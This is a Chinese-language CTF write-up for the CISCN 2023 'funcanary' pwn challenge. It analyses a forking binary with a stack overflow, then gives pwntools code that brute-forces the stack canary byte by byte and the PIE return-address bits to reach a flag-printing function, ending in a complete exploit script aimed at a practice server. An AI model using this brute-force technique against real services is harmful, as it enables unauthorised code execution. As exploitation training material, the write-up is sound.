爆破canary & PIE wp

字数: 855

主要是学习了 canary 和 PIE 的爆破。

题面

题目: [CISCN 2023 初赛]funcanary。
提供二进制文件。

分析

checksec 查看保护,全开。

1
2
3
4
5
6
7
8
9
❯ pwn checksec ./service
[*] '/data/project/ctf-repo/pwn/nssctf/CISCN_2023_初赛-funcanary/service'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

ida pro 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __pid_t v3; // [rsp+Ch] [rbp-4h]

  sub_1243(a1, a2, a3);
  while ( 1 )
  {
    v3 = fork();
    if ( v3 < 0 )
      break;
    if ( v3 )
    {
      wait(0);
    }
    else
    {
      puts("welcome");
      sub_128A();
      puts("have fun");
    }
  }
  puts("fork error");
  exit(0);
}

main 函数用 fork 分出两个分支。
fork 返回值给了 v3。返回 0 表示当前进程是子进程,而返回正整数(子进程的 pid) 表示当前进程是父进程。
这里父进程做 wait(0),子进程运行 sub_128A 函数:

1
2
3
4
5
6
7
8
9
unsigned __int64 sub_128A()
{
  _BYTE buf[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v2; // [rsp+68h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, buf, 0x80u);
  return v2 - __readfsqword(0x28u);
}

往 buf 写,溢出 0x10 字节。但同时,这个函数是有 canary 保护的。幸运的是 fork 出来的子进程的 canary 值和父进程一致,给予我们爆破的机会。

查看函数表,再进行交叉引用后发现了这样一个后门函数:

1
2
3
4
int sub_1229()
{
  return system("/bin/cat flag");
}

利用

这道题显然要爆破,首先爆破 canary,接着爆破 PIE。这里 return address 一般来说就前 16 位有别。而前 12 位是偏移量。就 13 - 16 这一块不确定。我们要爆破这块。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
canary = b"\x00"

io.recvuntil(b"welcome")
for i in range(7):
    for i in range(256):
        payload = b"a" * (0x70-0x8) + canary + bytes([i])
        io.send(payload)
        outPut = io.recvuntil(b"welcome\n")
        if b"fun" in outPut:
            canary += bytes([i])
            print("canary =", str(canary))
            break

这样检测字符串子串包含 fun 就进一位。内循环遍历一字节的 256 种可能性,外循环移位,因为 canary 除了最后字节用于截断字符串是 0x00 之外,7 字节是随机的。

在打通 canary 之后,爆破 PIE:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
for i in range(16):
    num = i << 12
    payload = b'a' * (0x70 - 0x8) + canary + b'a' * 8 + p16(backdoor + num)
    io.send(payload)
    outPut = io.recv()
    if b"NSSCTF" in outPut:
        print(str(outPut))
        break

io.interactive()

本地打的时候在该目录建一个 flag 文件来跑好些。

这样打完之后就能出 flag 了。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context(os="linux", arch="amd64", log_level="debug")
#io = process("./service")
io = remote("node5.anna.nssctf.cn", 27245)

backdoor = 0x231
canary = b"\x00"

io.recvuntil(b"welcome")
for i in range(7):
    for i in range(256):
        payload = b"a" * (0x70-0x8) + canary + bytes([i])
        io.send(payload)
        outPut = io.recvuntil(b"welcome\n")
        if b"fun" in outPut:
            canary += bytes([i])
            print("canary =", str(canary))
            break


for i in range(16):
    num = i << 12
    payload = b'a' * (0x70 - 0x8) + canary + b'a' * 8 + p16(backdoor + num)
    io.send(payload)
    outPut = io.recv()
    if b"NSSCTF" in outPut:
        print(str(outPut))
        break

io.interactive()